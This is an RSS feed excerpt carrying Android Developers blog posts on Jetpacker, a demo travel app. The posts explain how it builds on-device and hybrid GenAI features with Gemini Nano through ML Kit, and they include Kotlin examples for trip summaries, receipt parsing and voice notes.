<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
